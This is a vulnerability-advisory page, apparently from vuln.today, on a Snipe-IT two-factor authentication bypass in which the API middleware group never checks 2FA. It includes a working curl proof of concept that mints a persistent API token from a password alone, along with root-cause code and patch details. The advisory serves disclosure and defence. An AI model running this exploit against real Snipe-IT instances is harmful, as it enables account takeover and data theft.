Skip to main content

Snipe-IT EUVDEUVD-2026-86291

| CVE-2026-63493 HIGH
Authentication Bypass Using an Alternate Path or Channel (CWE-288)
2026-09-24 https://github.com/grokability/snipe-it GHSA-hxcx-9h4f-42xx
8.6
CVSS 4.0 · Vendor: https://github.com/grokability/snipe-it
Share

Severity by source

Vendor (https://github.com/grokability/snipe-it) PRIMARY
8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.1 HIGH

Network-reachable, low-complexity 2FA bypass requiring only a valid password (PR:L); full read/write API access as the user gives C:H/I:H, no availability impact and no scope change.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/grokability/snipe-it).

CVSS VectorVendor: https://github.com/grokability/snipe-it

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

8
POC Analysis Generated
Sep 24, 2026 - 19:29 vuln.today
Metadata Corrected
Sep 24, 2026 - 17:40 vuln.today
tag: Snipe It added
Metadata Corrected
Sep 24, 2026 - 17:40 vuln.today
tag: CSRF removed
Analysis Updated
Sep 24, 2026 - 17:28 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Sep 24, 2026 - 17:22 vuln.today
cvss_changed
CVSS changed
Sep 24, 2026 - 17:22 NVD
8.6 (HIGH)
Analysis Generated
Sep 24, 2026 - 17:05 vuln.today
CVE Published
Sep 24, 2026 - 16:38 cve.org
HIGH

DescriptionCVE.org

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php 'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ], 'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor

Two consequences:

  1. /two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

// app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.

  1. The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/ USER=victim PASS='victim-password'

1. log in with the password only. Every web page now redirects to

/two-factor until a code is entered. never enter one.

csrf=$(curl -s -c cookies.txt "$HOST/login" \

| grep -oP 'name="_token" value="\K[^"]+') curl -s -b cookies.txt -c cookies.txt "$HOST/login" \ --data-urlencode "_token=$csrf" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" -o /dev/null

2. GET /two-factor with no code. It is exempt from the 2FA check, so

CreateFreshApiToken issues the snipeit_passport_token cookie.

curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"

3. mint a persistent token over the api group (no 2FA check). Passport's

cookie guard wants the session's own XSRF token echoed as a header,

which our session already holds.

xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1) xsrf=$(printf '%b' "${xsrf//%/\\x}") pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \ -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \ --data-urlencode "name=poc" | jq -r '.payload.token') echo "[3] token: $pat"

4. use the Bearer token against a real endpoint. /users/me returns the

victim's own account, proving the token acts as the victim with 2FA

never completed. (If the victim is an admin, the same token reaches the

whole API, e.g. GET /api/v1/users returns the full user directory.)

curl -s "$HOST/api/v1/users/me" \ -H "Authorization: Bearer $pat" -H "Accept: application/json"

Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.

Patches

Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2fa_authed flag that CheckForTwoFactor relies on. Behavior:

  • Passes through when there's no authenticated user (leaves the standard auth:api 401 in place).
  • Passes through when two_factor_enabled is disabled in settings.
  • Under optional mode (two_factor_enabled = '1'), only enforces on users who explicitly set two_factor_optin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in.
  • Under required mode (two_factor_enabled = '2'), enforces regardless of optin.
  • Blocks with 403 + Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll')) when the token owner's two_factor_enrolled != '1'.

Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.

Credit

Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).

AnalysisAI

Two-factor authentication bypass in Snipe-IT (all releases before 8.7.0) allows an attacker who already knows a victim's account password to obtain a persistent, full-access Passport API token without ever supplying a TOTP code, because 2FA is enforced only by the Laravel 'web' middleware group while the personal-access-token endpoint sits in the un-gated 'api' group. The token grants read/write access across the victim's permissions and, for an admin victim, can also reach the admin users/two_factor_reset API endpoint to wipe the enrolled second factor - after which the attacker re-enrolls their own device and locks the legitimate user out of the web UI. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

No credit card · 7-day full trial

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Persist
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Requires that the target Snipe-IT instance has 2FA enabled (two_factor_enabled set to optional '1' with the victim opted in, or required '2') and that the victim account holds the self.api permission (present on any account meant to use the REST API). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine, high-priority authentication flaw rather than an inflated high-CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Vendor-released patch: upgrade to Snipe-IT 8.7.0 or later, which ships the EnforceApiTwoFactorEnrollment middleware; the underlying fixes are commit 87c362962a670f427be071850b218e43eff5d08e (PR https://github.com/grokability/snipe-it/pull/19294) and commit c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780, per advisory https://github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xx. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all Snipe-IT instances and confirm which run versions earlier than 8.7.0, then determine whether two-factor authentication is in use (optional mode with users opted in, or required mode), because the bypass is only exploitable where 2FA is switched on; in parallel, enumerate personal access tokens, revoke any that are unrecognized or freshly issued, and check admin accounts for unexpected two_factor_reset activity, treating exposed instances as potentially compromised since a known password is the only prerequisite. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

EUVD-2026-86291 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy